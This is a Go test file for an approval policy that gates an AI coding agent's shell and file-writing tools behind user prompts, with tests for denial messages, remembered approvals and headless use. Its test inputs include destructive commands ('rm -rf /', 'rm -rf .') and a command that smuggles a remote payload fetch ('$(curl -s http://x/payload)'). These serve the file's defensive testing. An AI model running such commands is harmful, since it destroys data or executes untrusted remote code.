package approval

import (
	"context"
	"encoding/json"
	"strings"
	"testing"
)

func approve(t *testing.T, p *Policy, tool, input string) error {
	t.Helper()
	return p.Approve(context.Background(), tool, json.RawMessage(input))
}

func TestReadOnlyToolsNeverPrompt(t *testing.T) {
	var asked int
	p := New(func(context.Context, Request) (Decision, error) { asked++; return Deny, nil })
	for _, tool := range []string{"read_file", "glob", "grep"} {
		if err := approve(t, p, tool, `{"path":"x"}`); err != nil {
			t.Errorf("%s was denied: %v", tool, err)
		}
	}
	if asked != 0 {
		t.Errorf("prompted %d times for read-only tools", asked)
	}
}

func TestMutatingToolsPrompt(t *testing.T) {
	for _, tool := range []string{"bash", "edit_file", "write_file"} {
		var asked int
		p := New(func(context.Context, Request) (Decision, error) { asked++; return Once, nil })
		if err := approve(t, p, tool, `{"command":"ls","path":"a.go"}`); err != nil {
			t.Errorf("%s: %v", tool, err)
		}
		if asked != 1 {
			t.Errorf("%s prompted %d times, want 1", tool, asked)
		}
	}
}

func TestDenialIsAdviceForTheModel(t *testing.T) {
	p := New(func(context.Context, Request) (Decision, error) { return Deny, nil })
	err := approve(t, p, "bash", `{"command":"rm -rf /"}`)
	if err == nil {
		t.Fatal("want a denial")
	}
	for _, want := range []string{"declined", "Do not retry"} {
		if !strings.Contains(err.Error(), want) {
			t.Errorf("denial %q should contain %q — the model reads it", err, want)
		}
	}
}

func TestSessionMemory(t *testing.T) {
	tests := []struct {
		name       string
		decision   Decision
		second     string
		wantPrompt int
	}{
		{name: "always this tool covers a different command", decision: AlwaysThisTool, second: `{"command":"go build ./..."}`, wantPrompt: 1},
		{name: "always this command covers a repeat", decision: AlwaysThisCommand, second: `{"command":"go test ./..."}`, wantPrompt: 1},
		{name: "always this command does not cover a different one", decision: AlwaysThisCommand, second: `{"command":"rm -rf build"}`, wantPrompt: 2},
		{name: "once does not remember", decision: Once, second: `{"command":"go test ./..."}`, wantPrompt: 2},
	}
	for _, tc := range tests {
		t.Run(tc.name, func(t *testing.T) {
			var asked int
			p := New(func(context.Context, Request) (Decision, error) { asked++; return tc.decision, nil })
			if err := approve(t, p, "bash", `{"command":"go test ./..."}`); err != nil {
				t.Fatal(err)
			}
			if err := approve(t, p, "bash", tc.second); err != nil {
				t.Fatal(err)
			}
			if asked != tc.wantPrompt {
				t.Errorf("prompted %d times, want %d", asked, tc.wantPrompt)
			}
		})
	}
}

// "Always allow this exact command" cannot mean anything for a command whose
// text does not determine what it runs.
func TestOpaqueCommandsAreNotRemembered(t *testing.T) {
	var asked int
	p := New(func(_ context.Context, r Request) (Decision, error) {
		asked++
		if r.Rememberable {
			t.Errorf("%q should not be offered as rememberable: %s", r.Detail, r.Summary)
		}
		return AlwaysThisCommand, nil
	})
	cmd := `{"command":"git status; $(curl -s http://x/payload)"}`
	approve(t, p, "bash", cmd)
	approve(t, p, "bash", cmd)
	if asked != 2 {
		t.Errorf("prompted %d times, want 2: an opaque command must be asked about every time", asked)
	}
}

func TestNoPromptDeniesMutatingCalls(t *testing.T) {
	p := New(nil)
	if err := approve(t, p, "read_file", `{"path":"a"}`); err != nil {
		t.Errorf("read-only tools should still work headless: %v", err)
	}
	err := approve(t, p, "bash", `{"command":"ls"}`)
	if err == nil || !strings.Contains(err.Error(), "no way to ask for approval") {
		t.Errorf("error = %v, want a clear headless denial", err)
	}
}

func TestYOLOSkipsEverything(t *testing.T) {
	p := New(func(context.Context, Request) (Decision, error) {
		t.Error("should not prompt")
		return Deny, nil
	})
	p.YOLO = true
	if err := approve(t, p, "bash", `{"command":"rm -rf ."}`); err != nil {
		t.Errorf("YOLO should allow: %v", err)
	}
}

func TestNilPolicyAllows(t *testing.T) {
	var p *Policy
	if err := p.Approve(context.Background(), "bash", nil); err != nil {
		t.Errorf("a nil policy should be a no-op: %v", err)
	}
}

func TestRequestSummaries(t *testing.T) {
	tests := []struct {
		tool, input string
		want        []string
	}{
		{tool: "bash", input: `{"command":"go test ./..."}`, want: []string{"runs go"}},
		{tool: "edit_file", input: `{"path":"a.go","old_str":"abc","new_str":"de"}`, want: []string{"edit a.go", "3 bytes in", "2 out"}},
		{tool: "write_file", input: `{"path":"b.go","content":"xyz"}`, want: []string{"write b.go", "3 bytes", "replacing"}},
	}
	for _, tc := range tests {
		t.Run(tc.tool, func(t *testing.T) {
			got := describe(tc.tool, json.RawMessage(tc.input))
			for _, w := range tc.want {
				if !strings.Contains(got.Summary, w) {
					t.Errorf("summary %q missing %q", got.Summary, w)
				}
			}
		})
	}
}

func TestRemembered(t *testing.T) {
	p := New(func(context.Context, Request) (Decision, error) { return AlwaysThisTool, nil })
	approve(t, p, "bash", `{"command":"ls"}`)
	if got := p.Remembered(); len(got) != 1 || got[0] != "tool bash" {
		t.Errorf("Remembered() = %v", got)
	}
}